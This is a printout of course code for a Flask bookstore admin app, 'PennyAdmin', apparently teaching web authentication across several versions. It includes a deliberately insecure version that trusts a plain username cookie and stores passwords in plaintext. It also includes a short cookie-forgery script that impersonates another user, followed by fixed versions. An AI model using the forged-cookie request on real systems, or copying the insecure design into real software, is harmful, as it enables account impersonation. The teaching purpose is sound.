PennyAdmin04Auth/penny.sql (Page 1 of 1)

```
 1: DROP TABLE IF EXISTS books;
 2: CREATE TABLE books (isbn TEXT PRIMARY KEY, author TEXT, title TEXT);
 3: INSERT INTO books (isbn, author, title)
 4:    VALUES ('123', 'Kernighan','The Practice of Programming');
 5: INSERT INTO books (isbn, author, title)
 6:    VALUES ('234', 'Kernighan','The C Programming Language');
 7: INSERT INTO books (isbn, author, title)
 8:    VALUES ('345', 'Sedgewick','Algorithms in C');
 9:
10: DROP TABLE IF EXISTS users;
11: CREATE TABLE users (username TEXT PRIMARY KEY, password TEXT);
12: INSERT INTO users (username, password) VALUES ('rdondero', 'xxx');
13: INSERT INTO users (username, password) VALUES ('bwk', 'yyy');
14: INSERT INTO users (username, password) VALUES ('rs', 'zzz');
15:
16: DROP TABLE IF EXISTS authorizedusers;
17: CREATE TABLE authorizedusers (username TEXT PRIMARY KEY);
18: INSERT INTO authorizedusers (username) VALUES ('rdondero');
19: INSERT INTO authorizedusers (username) VALUES ('bwk');
```

blank (Page 1 of 1)

```
1: This page is intentionally blank.
```

PennyAdmin04Auth/database.py (Page 1 of 3)

```
#!/usr/bin/env python

#-------------------------------------------------------------------------
# database.py
# Author: Bob Dondero
#-------------------------------------------------------------------------

import sqlite3
import contextlib

#-------------------------------------------------------------------------

_DATABASE_URL = 'file:penny.sqlite'

#-------------------------------------------------------------------------

def get_books():

    books = []

    with contextlib.closing(
        sqlite3.connect(_DATABASE_URL + '?mode=ro',
        isolation_level=None, uri=True)) as connection:
        with contextlib.closing(connection.cursor()) as cursor:
            query_str = '''
                SELECT isbn, author, title FROM books
            '''
            cursor.execute(query_str)

            table = cursor.fetchall()
            for row in table:
                book = {'isbn': row[0], 'author': row[1],
                    'title': row[2]}
                books.append(book)

    return books

#-------------------------------------------------------------------------

def add_book(isbn, author, title):

    with contextlib.closing(
        sqlite3.connect(_DATABASE_URL + '?mode=rw',
        isolation_level=None, uri=True)) as connection:
        with contextlib.closing(connection.cursor()) as cursor:
            query_str = '''
                INSERT INTO books (isbn, author, title)
                VALUES (?, ?, ?)
                '''
            try:
                cursor.execute(query_str, [isbn, author, title])
            except sqlite3.IntegrityError:
                return False
            return True

#-------------------------------------------------------------------------

def delete_book(isbn):

    with contextlib.closing(
        sqlite3.connect(_DATABASE_URL + '?mode=rw',
        isolation_level=None, uri=True)) as connection:
        with contextlib.closing(connection.cursor()) as cursor:
            query_str = '''
                DELETE FROM books WHERE isbn = ?
```

PennyAdmin04Auth/database.py (Page 2 of 3)

```
                '''
            cursor.execute(query_str, [isbn])

#-------------------------------------------------------------------------

def get_password(username):

    with contextlib.closing(
        sqlite3.connect(_DATABASE_URL + '?mode=ro',
        isolation_level=None, uri=True)) as connection:
        with contextlib.closing(connection.cursor()) as cursor:
            query_str = '''
                SELECT password FROM users WHERE username = ?
                '''
            cursor.execute(query_str, [username])
            table = cursor.fetchall()
            if len(table) != 1:
                return None
            return table[0][0]

#-------------------------------------------------------------------------

def is_authorized(username):

    with contextlib.closing(
        sqlite3.connect(_DATABASE_URL + '?mode=ro',
        isolation_level=None, uri=True)) as connection:
        with contextlib.closing(connection.cursor()) as cursor:
            query_str = '''
                SELECT username FROM authorizedusers WHERE username = ?
                '''
            cursor.execute(query_str, [username])
            table = cursor.fetchall()
            if len(table) != 1:
                return False
            return True

#-------------------------------------------------------------------------

# For testing:

def _write_books(books):
    for book in books:
        print(f'{book['isbn']} | {book['author']} | {book['title']}')

def _test():
    print('-----------------------------------')
    print('Testing get_books()')
    print('-----------------------------------')
    print()
    books = get_books()
    _write_books(books)
    print()

    print('-----------------------------------')
    print('Testing add_book()')
    print('-----------------------------------')
    print()
    successful = add_book('456', 'Kernighan', 'New Book')
    if successful:
        print('Add was successful')
        print()
        books = get_books()
        _write_books(books)
        print()
```

PennyAdmin04Auth/database.py (Page 3 of 3)

```
131:     else:
132:         print('Add was unsuccessful')
133:         print()
134:         _write_books(books)
135:         print()
136:     successful = add_book('456', 'Kernighan', 'New Book')
137:     if successful:
138:         print('Add was successful')
139:         print()
140:         books = get_books()
141:         _write_books(books)
142:         print()
143:     else:
144:         print('Add was unsuccessful')
145:         print()
146:         _write_books(books)
147:         print()
148:
149:     print('-----------------------------------')
150:     print('Testing delete_book()')
151:     print('-----------------------------------')
152:     print()
153:     delete_book('456')
154:     books = get_books()
155:     _write_books(books)
156:     print()
157:     delete_book('456')
158:     books = get_books()
159:     _write_books(books)
160:     print()
161:
162:     print('-----------------------------------')
163:     print('Testing get_password()')
164:     print('-----------------------------------')
165:     print()
166:     password = get_password('rdondero')
167:     print(password)
168:     password = get_password('rdondero2')
169:     print(password)
170:     print()
171:
172:     print('-----------------------------------')
173:     print('Testing is_authorized()')
174:     print('-----------------------------------')
175:     print()
176:     print(is_authorized('rdondero'))
177:     print(is_authorized('rdondero2'))
178:     print()
179:
180: if __name__ == '__main__':
181:     _test()
```

blank (Page 1 of 1)

```
1: This page is intentionally blank.
```

PennyAdmin04Auth/header.html (Page 1 of 1)

```
1: <hr>Hello {{username}}, and welcome to <strong>PennyAdmin</strong><hr>
```

PennyAdmin04Auth/footer.html (Page 1 of 1)

```
1: <hr>
2: <a href="logout">Log out</a> of the application</br>
3: <hr>
4: Created by <a href="https://www.cs.princeton.edu/~rdondero">
5: Bob Dondero</a>
6: <hr>
```

PennyAdmin04Auth/menu.html (Page 1 of 1)

```
<!DOCTYPE html>
<html>
   <head>
      <title>PennyAdmin</title>
   </head>
   <body>
      {% include 'header.html' %}
      <br>
      <a href="/show">Show all books</a><br>
      {% if is_authorized: %}
         <a href="/add">Add a book</a><br>
         <a href="/delete">Delete a book by ISBN</a><br>
      {% endif %}
      <br>
      {% include 'footer.html' %}
   </body>
</html>
```

PennyAdmin04Auth/login.html (Page 1 of 1)

```
<!DOCTYPE html>
<html>
   <head>
      <title>Penny.com</title>
   </head>
   <body>
      <h1>Login to Penny</h1>
      <!-- Use post instead of get for security. -->
      <form action="/handlelogin" method="post">
         <table>
            <tbody>
               <tr>
                  <td style="text-align:right">User name:</td>
                  <td><input type="text" name="username" autofocus
                     required pattern=".*\S.*"
                     title="At least one non-white-space char">
                  </td>
               </tr>
               <tr>
                  <td style="text-align:right">Password:</td>
                  <td><input type="password" name="password"
                     required pattern=".*\S.*"
                     title="At least one non-white-space char">
                  <td>
               </tr>
               <tr>
                  <td></td>
                  <td><input type="submit" value="Go"></td>
               </tr>
            </tbody>
         </table>
      </form>
      <br>
      <strong>{{msg}}</strong>
   </body>
</html>
```

PennyAdmin04Auth/loggedout.html (Page 1 of 1)

```
 1: <!DOCTYPE html>
 2: <html>
 3:    <head>
 4:       <title>PennyAdmin</title>
 5:    </head>
 6:    <body>
 7:       <h2>You are logged out of PennyAdmin</h2>
 8:       <a href="/index">Revisit the application</a>
 9:    </body>
10: </html>
```

blank (Page 1 of 1)

```
1: This page is intentionally blank.
```

PennyAdmin04Auth/penny.py (Page 1 of 3)

```
#!/usr/bin/env python

#-------------------------------------------------------------------------
# penny.py
# Author: Bob Dondero
#-------------------------------------------------------------------------

import flask
import database
import auth

#-------------------------------------------------------------------------

app = flask.Flask(__name__, template_folder='.')

auth.init(app)

#-------------------------------------------------------------------------

@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():

    html_code = flask.render_template('index.html')
    response = flask.make_response(html_code)
    return response

#-------------------------------------------------------------------------

@app.route('/menu', methods=['GET'])
def menu():

    auth.authenticate()
    username = auth.get_username()

    is_authorized = database.is_authorized(username)

    html_code = flask.render_template('menu.html', username=username,
        is_authorized=is_authorized)
    response = flask.make_response(html_code)
    return response

#-------------------------------------------------------------------------

@app.route('/show', methods=['GET'])
def show():

    auth.authenticate()
    username = auth.get_username()

    books = database.get_books()
    html_code = flask.render_template('show.html',
        username=username, books=books)
    response = flask.make_response(html_code)
    return response

#-------------------------------------------------------------------------

@app.route('/add', methods=['GET'])
def add():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
```

PennyAdmin04Auth/penny.py (Page 2 of 3)

```
        html_code = 'You are not authorized to add books.'
        response = flask.make_response(html_code)
        return response

    html_code = flask.render_template('add.html', username=username)
    response = flask.make_response(html_code)
    return response

#-------------------------------------------------------------------------

@app.route('/handleadd', methods=['POST'])
def handle_add():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to add books.'
        response = flask.make_response(html_code)
        return response

    isbn = flask.request.form.get('isbn')
    if (isbn is None) or (isbn.strip() == ''):
        message = 'The addition was unsuccessful: missing ISBN'
    else:
        author = flask.request.form.get('author')
        if (author is None) or (author.strip() == ''):
            message = 'The addition was unsuccessful: missing author'
        else:
            title = flask.request.form.get('title')
            if (title is None) or (title.strip() == ''):
                message = 'The addition was unsuccessful: missing title'
            else:
                isbn = isbn.strip()
                author = author.strip()
                title = title.strip()

                successful = database.add_book(isbn, author, title)
                if not successful:
                    message = 'The addition was unsuccessful: '
                    message += 'duplicate ISBN'
                else:
                    message = 'The addition was successful'

    html_code = flask.render_template('reportresults.html',
        username=username, message=message)
    response = flask.make_response(html_code)
    return response

#-------------------------------------------------------------------------

@app.route('/delete', methods=['GET'])
def delete():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to delete books.'
        response = flask.make_response(html_code)
        return response

    html_code = flask.render_template('delete.html', username=username)
    response = flask.make_response(html_code)
    return response
```

PennyAdmin04Auth/penny.py (Page 3 of 3)

```
131:
132: #-----------------------------------------------------------------------
133:
134: @app.route('/handledelete', methods=['POST'])
135: def handle_delete():
136:
137:     auth.authenticate()
138:     username = auth.get_username()
139:
140:     if not database.is_authorized(username):
141:         html_code = 'You are not authorized to delete books.'
142:         response = flask.make_response(html_code)
143:         return response
144:
145:     isbn = flask.request.form.get('isbn')
146:     if (isbn is None) or (isbn.strip() == ''):
147:         message = 'The deletion was unsuccessful: missing ISBN'
148:     else:
149:         isbn = isbn.strip()
150:         database.delete_book(isbn)
151:         message = 'The deletion was successful'
152:
153:     html_code = flask.render_template('reportresults.html',
154:         username=username, message=message)
155:     response = flask.make_response(html_code)
156:     return response
```

blank (Page 1 of 1)

```
1: This page is intentionally blank.
```

PennyAdmin04Auth/auth.py (Page 1 of 2)

```
#!/usr/bin/env python

#-------------------------------------------------------------------------
# auth.py
# Author: Bob Dondero
#-------------------------------------------------------------------------

import flask
import database

#-------------------------------------------------------------------------
# Authentication routes
#-------------------------------------------------------------------------

def init(app):

    app.add_url_rule('/login',  'login', login,
        methods=['GET'])
    app.add_url_rule('/handlelogin',  'handle_login', handle_login,
        methods=['POST'])
    app.add_url_rule('/logout',  'logout', logout,
        methods=['GET'])

#-------------------------------------------------------------------------

def login():

    msg = flask.request.args.get('msg')
    if msg is None:
        msg = ''
    html = flask.render_template('login.html', msg=msg)
    response = flask.make_response(html)
    return response

#-------------------------------------------------------------------------

def handle_login():

    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
    if (username is None) or (username.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if (password is None) or (password.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if not _valid_username_and_password(username, password):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    original_url = flask.request.cookies.get('original_url', '/index')
    response = flask.redirect(original_url)
    response.set_cookie('username', username)
    return response

#-------------------------------------------------------------------------

def logout():

    html_code = flask.render_template('loggedout.html')
    response = flask.make_response(html_code)

    # Delete cookies in the browser by setting them to expire at
    # a time that is in the past.
    response.set_cookie('username', '', expires=0)
    response.set_cookie('original_url', '', expires=0)
```

PennyAdmin04Auth/auth.py (Page 2 of 2)

```

    return response

#-------------------------------------------------------------------------
# Authentication functions
#-------------------------------------------------------------------------

def _valid_username_and_password(username, password):

    stored_password = database.get_password(username)
    if stored_password is None:
        return False
    return password == stored_password

#-------------------------------------------------------------------------

def get_username():

    return flask.request.cookies.get('username')

#-------------------------------------------------------------------------

def authenticate():

    username = flask.request.cookies.get('username')
    if username is None:
        response = flask.redirect(flask.url_for('login'))
        response.set_cookie('original_url', flask.request.url)
        flask.abort(response)
```

cookieforgeryattack.py (Page 1 of 1)

```
#!/usr/bin/env python

#--------------------------------------------------------------------------
# cookieforgeryattack.py
# Author: Bob Dondero
#--------------------------------------------------------------------------

import sys
import socket

def main():

    if len(sys.argv) != 3:
        print('Usage: python %s host port' % sys.argv[0])
        sys.exit(1)

    try:
        host = sys.argv[1]
        port = int(sys.argv[2])

        with socket.socket() as sock:
            sock.connect((host, port))

            with sock.makefile(
                mode='w', encoding='iso-8859-1') as out_flo:
                out_flo.write('GET ' + '/show' + ' HTTP/1.1\r\n')
                out_flo.write('Host: ' + host + '\r\n')
                out_flo.write('Cookie: username=rdondero\r\n')
                out_flo.write('\r\n')

            with sock.makefile(
                mode='r', encoding='iso-8859-1') as in_flo:
                for line in in_flo:
                    print(line, end='')

    except Exception as ex:
        print(ex, file=sys.stderr)
        sys.exit(1)

if __name__ == '__main__':
    main()
```

blank (Page 1 of 1)

```
This page is intentionally blank.
```

PennyAdmin05aEncrypt/auth.py (Page 1 of 2)

```
#!/usr/bin/env python

#-----------------------------------------------------------------------
# auth.py
# Author: Bob Dondero
#-----------------------------------------------------------------------

import os
import cryptocode
import flask
import dotenv
import database

#-----------------------------------------------------------------------

dotenv.load_dotenv()
_APP_SECRET_KEY = os.environ['APP_SECRET_KEY']

#-----------------------------------------------------------------------
# Authentication routes
#-----------------------------------------------------------------------

def init(app):

    app.add_url_rule('/login',  'login', login,
        methods=['GET'])
    app.add_url_rule('/handlelogin',  'handle_login', handle_login,
        methods=['POST'])
    app.add_url_rule('/logout',  'logout', logout,
        methods=['GET'])

#-----------------------------------------------------------------------

def login():

    msg = flask.request.args.get('msg')
    if msg is None:
        msg = ''
    html = flask.render_template('login.html', msg=msg)
    response = flask.make_response(html)
    return response

#-----------------------------------------------------------------------

def handle_login():

    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
    if (username is None) or (username.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if (password is None) or (password.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if not _valid_username_and_password(username, password):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    original_url = flask.request.cookies.get('original_url', '/index')
    response = flask.redirect(original_url)
    encrypted_username = cryptocode.encrypt(username, _APP_SECRET_KEY)
    response.set_cookie('username', encrypted_username)
    return response

#-----------------------------------------------------------------------

```

PennyAdmin05aEncrypt/auth.py (Page 2 of 2)

```
def logout():

    html_code = flask.render_template('loggedout.html')
    response = flask.make_response(html_code)

    # Delete cookies in the browser by setting them to expire at
    # a time that is in the past.
    response.set_cookie('username', '', expires=0)
    response.set_cookie('original_url', '', expires=0)

    return response

#-----------------------------------------------------------------------
# Authentication functions
#-----------------------------------------------------------------------

def _valid_username_and_password(username, password):

    stored_password = database.get_password(username)
    if stored_password is None:
        return False
    return password == stored_password

#-----------------------------------------------------------------------

def get_username():

    encrypted_username = flask.request.cookies.get('username')
    if encrypted_username is None:
        return None
    username = cryptocode.decrypt(encrypted_username, _APP_SECRET_KEY)
    if not username:
        return None
    return username

#-----------------------------------------------------------------------

def authenticate():

    encrypted_username = flask.request.cookies.get('username')

    if encrypted_username is None:
        response = flask.redirect(flask.url_for('login'))
        response.set_cookie('original_url', flask.request.url)
        flask.abort(response)

    username = cryptocode.decrypt(encrypted_username, _APP_SECRET_KEY)
    if not username:
        response = flask.redirect(flask.url_for('login'))
        response.set_cookie('original_url', flask.request.url)
        flask.abort(response)
```

PennyAdmin05bSession/penny.py (Page 1 of 3)

```
#!/usr/bin/env python

#-----------------------------------------------------------------------
# penny.py
# Author: Bob Dondero
#-----------------------------------------------------------------------

import flask
import dotenv
import database
import auth

#-----------------------------------------------------------------------

dotenv.load_dotenv()
_APP_SECRET_KEY = os.environ['APP_SECRET_KEY']

#-----------------------------------------------------------------------

app = flask.Flask(__name__, template_folder='.')
app.secret_key = _APP_SECRET_KEY
auth.init(app)

#-----------------------------------------------------------------------

@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():

    html_code = flask.render_template('index.html')
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/menu', methods=['GET'])
def menu():

    auth.authenticate()
    username = auth.get_username()

    is_authorized = database.is_authorized(username)

    html_code = flask.render_template('menu.html', username=username,
        is_authorized=is_authorized)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/show', methods=['GET'])
def show():

    auth.authenticate()
    username = auth.get_username()

    books = database.get_books()
    html_code = flask.render_template('show.html',
        username=username, books=books)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/add', methods=['GET'])
```

PennyAdmin05bSession/penny.py (Page 2 of 3)

```
def add():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to add books.'
        response = flask.make_response(html_code)
        return response

    html_code = flask.render_template('add.html', username=username)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/handleadd', methods=['POST'])
def handle_add():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to add books.'
        response = flask.make_response(html_code)
        return response

    isbn = flask.request.form.get('isbn')
    if (isbn is None) or (isbn.strip() == ''):
        message = 'The addition was unsuccessful: missing ISBN'
    else:
        author = flask.request.form.get('author')
        if (author is None) or (author.strip() == ''):
            message = 'The addition was unsuccessful: missing author'
        else:
            title = flask.request.form.get('title')
            if (title is None) or (title.strip() == ''):
                message = 'The addition was unsuccessful: missing title'
            else:
                isbn = isbn.strip()
                author = author.strip()
                title = title.strip()

                successful = database.add_book(isbn, author, title)
                if not successful:
                    message = 'The addition was unsuccessful: '
                    message += 'duplicate ISBN'
                else:
                    message = 'The addition was successful'

    html_code = flask.render_template('reportresults.html',
        username=username, message=message)
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------

@app.route('/delete', methods=['GET'])
def delete():

    auth.authenticate()
    username = auth.get_username()

    if not database.is_authorized(username):
        html_code = 'You are not authorized to delete books.'
```

PennyAdmin05bSession/penny.py (Page 3 of 3)

```
131:         response = flask.make_response(html_code)
132:         return response
133:
134:     html_code = flask.render_template('delete.html', username=username)
135:     response = flask.make_response(html_code)
136:     return response
137:
138: #-----------------------------------------------------------------------
139:
140: @app.route('/handledelete', methods=['POST'])
141: def handle_delete():
142:
143:     auth.authenticate()
144:     username = auth.get_username()
145:
146:     if not database.is_authorized(username):
147:         html_code = 'You are not authorized to delete books.'
148:         response = flask.make_response(html_code)
149:         return response
150:
151:     isbn = flask.request.form.get('isbn')
152:     if (isbn is None) or (isbn.strip() == ''):
153:         message = 'The deletion was unsuccessful: missing ISBN'
154:     else:
155:         isbn = isbn.strip()
156:         database.delete_book(isbn)
157:         message = 'The deletion was successful'
158:
159:     html_code = flask.render_template('reportresults.html',
160:         username=username, message=message)
161:     response = flask.make_response(html_code)
162:     return response
```

blank (Page 1 of 1)

```
1: This page is intentionally blank.
```

PennyAdmin05bSession/auth.py (Page 1 of 2)

```
#!/usr/bin/env python

#-----------------------------------------------------------------------
# auth.py
# Author: Bob Dondero
#-----------------------------------------------------------------------

import os
import flask
import database

#-----------------------------------------------------------------------
# Authentication routes
#-----------------------------------------------------------------------

def init(app):

    app.add_url_rule('/login',  'login', login,
        methods=['GET'])
    app.add_url_rule('/handlelogin',  'handle_login', handle_login,
        methods=['POST'])
    app.add_url_rule('/logout',  'logout', logout,
        methods=['GET'])

#-----------------------------------------------------------------------

def login():

    msg = flask.request.args.get('msg')
    if msg is None:
        msg = ''
    html = flask.render_template('login.html', msg=msg)
    response = flask.make_response(html)
    return response

#-----------------------------------------------------------------------

def handle_login():

    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
    if (username is None) or (username.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if (password is None) or (password.strip() == ''):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    if not _valid_username_and_password(username, password):
        return flask.redirect(
            flask.url_for('login', msg='Wrong username or password'))
    original_url = flask.session.get('original_url', '/index')
    response = flask.redirect(original_url)
    flask.session['username'] = username
    return response

#-----------------------------------------------------------------------

def logout():

    flask.session.clear()
    html_code = flask.render_template('loggedout.html')
    response = flask.make_response(html_code)
    return response

#-----------------------------------------------------------------------
```

PennyAdmin05bSession/auth.py (Page 2 of 2)

```
# Authentication functions
#-----------------------------------------------------------------------

def _valid_username_and_password(username, password):

    stored_password = database.get_password(username)
    if stored_password is None:
        return False
    return password == stored_password

#-----------------------------------------------------------------------

def get_username():

    return flask.session.get('username')

#-----------------------------------------------------------------------

def authenticate():

    username = flask.session.get('username')
    if username is None:
        response = flask.redirect(flask.url_for('login'))
        flask.session['original_url'] = flask.request.url
        flask.abort(response)
```